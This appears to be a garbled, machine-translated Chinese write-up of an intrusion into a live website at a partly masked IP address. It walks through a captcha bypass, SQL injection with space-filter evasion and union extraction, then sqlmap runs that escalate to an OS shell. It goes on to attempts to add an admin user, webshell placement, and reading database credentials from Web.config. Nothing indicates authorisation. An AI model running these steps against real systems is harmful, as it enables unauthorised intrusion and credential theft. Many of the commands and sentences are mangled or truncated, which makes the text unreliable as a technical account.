0x00 存在SQL注入
简而言之,当我遇到一个网站时,登录页面和数据包大致如下:
POST /jsweb/userlogin/UserLoginAction.aspx HTTP/1.1
Host: 115.xxx.xxx.xxx:8042
Content-Length: 47
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://115.xxx.xxx.xxx:8042
Referer: http://115.xxx.xxx.xxx:8042/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=bxdzehxa5mvoco1fkrjlbqbt
Connection: close
uname=admin*&pwd=dskfsdkf&valCode=1197&telphone=
验证码可绕过,登录名存在注入。
使用and 1=1、and 1=2时,发现过滤了空格,所以用/**/代替。
0x01 快速浏览一下
中间件是IIS,有一个len函数,确定为
order by 看看是否可以union,发现有10列
尝试联合
将 admin 转换为 int 时出错。 好像可以显示位。 经过测试,发现确实可以显示。
可以获取数据库版本,可以确定union已经被注入了。
0x02
运行:--risk=3 --level=3 --batch --=1 -r 1.txt --dbms="mssql" ---agent --="'" --="--" - - =
真奇怪。 您可以手动合并它。 我们首先看一下基于 的数据采集。
---db可以获取数据库名,但是获取表名时返回空。
--risk=3 --level=3 --batch --=1 -r 1.txt --dbms="mssql" ---agent --="'" --="--" --= - D--
可以判断有注入。 可以手动测试1=1,也可以通过union测试。 看来确实有过滤。
0x03 检测过滤
看看过滤了什么。 Union 速度更快,所以使用 union 和 -v 5 来看看。
--risk=3 --level=3 --batch --=1 -r 1.txt --dbms="mssql" ---agent --="'" --="--" --= - -=U ---db -v 5
就拿最后一个来测试一下
提示 98 附近有错误
感觉char等函数被过滤了。 字符被移动到显示位置。 测试一下。
有加号时会出错,没有加号则没有问题。 可能是加号被处理了。
将其移动到显示位置并进行测试。 加号确实被处理并替换为任何内容。
0x04
我上网寻找可以代替加号的东西,但没有找到任何相关信息。 然后我就想会不会有,结果有。
有两个,一个适合2012年的,一个适合2008年的。我们这里的数据库是08年的,你可以用.py来确定数据库。
--risk=3 --level=3 --batch --=1 -r 1.txt --dbms="mssql" ---agent --="'" --="--" --=, --=U ---db
,可以获取数据库表,但是获取表的列名时仍然没有返回数据。
0x05 再次检测并过滤
同样 -v 3 查看然后测试
存在语法错误。 大概就是那个什么都没有替换掉的吧。 慢慢尝试吧。 。 。
看了一下语句,涉及到的有union,,cast,from,,,where,and,可能会被过滤。 联盟,没问题。 之前测试过,剩余处理过的关键词感觉很大。 概率来自于,和。 。 。 。
语法错误。 。 。 应该是从。可以报错吗,还是应该报错到显示位置?
emmmm,感觉没有滤镜。 。 。 但存在语法错误。 。 。
网上查了一下,其实之前的from出错是因为表的原因,from 1,没有表1,所以就出现了错误。 。 。 。 。
与mysql不同的是,它仍然很少被使用。 。 。
但是再尝试的时候还是有问题,没有返回数据。
本地测试同样的语句也能返回数据,令人困惑
0x06 操作系统外壳
实在没办法,--is-dba为True,直接--os- --risk=3 --level=3 --batch --=1 -r 1.txt --dbms="mssql" -- - 代理 --="'" --="--" --=, --os-shell
,, 什么都没说。 。 。 。 。
看港口
添加用户不起作用,卡住了。 应该是被屏蔽了吧净用户 . /add & net /add & net 用户 /:是
看了一下,有360,我们先给它传个shell,方便后续渗透。
找到路径:dir /s /be:\".jpg"
使用echo写入txt来确定路径。 我已经尝试了几次但没有任何效果。 写中文路径时提示不存在。 。 。 。 。
本来网上查了一下可以用bat写中文路径文件,但是我尝试使用,但是没能下载成功。
检查是否有不包含中文字符的网页路径:输入C:\\\\\。
发现80端口的路径是c:\\
写一个句子:
访问后出现错误
后续测试发现通过浏览器可以写出中文名。 创建了文件9d.txt,证明网站路径为e:\江xxxx网站\JsWeb
现在知道目标的绝对路径是e:\江xxxx网站\JsWeb\,目标80端口的绝对路径是c:\\
PS:因为当时还有其他事情要做,所以没有继续。 其实你也可以将数据库shell备份到网站目录下。 后来我还看到了“/”应用程序中没有出现的服务错误。
0x07 查找数据库信息
找到 Web.,dir /s /be:\"Web.",输入 e:\\web。 获取数据库用户名和密码 user id=kw;=;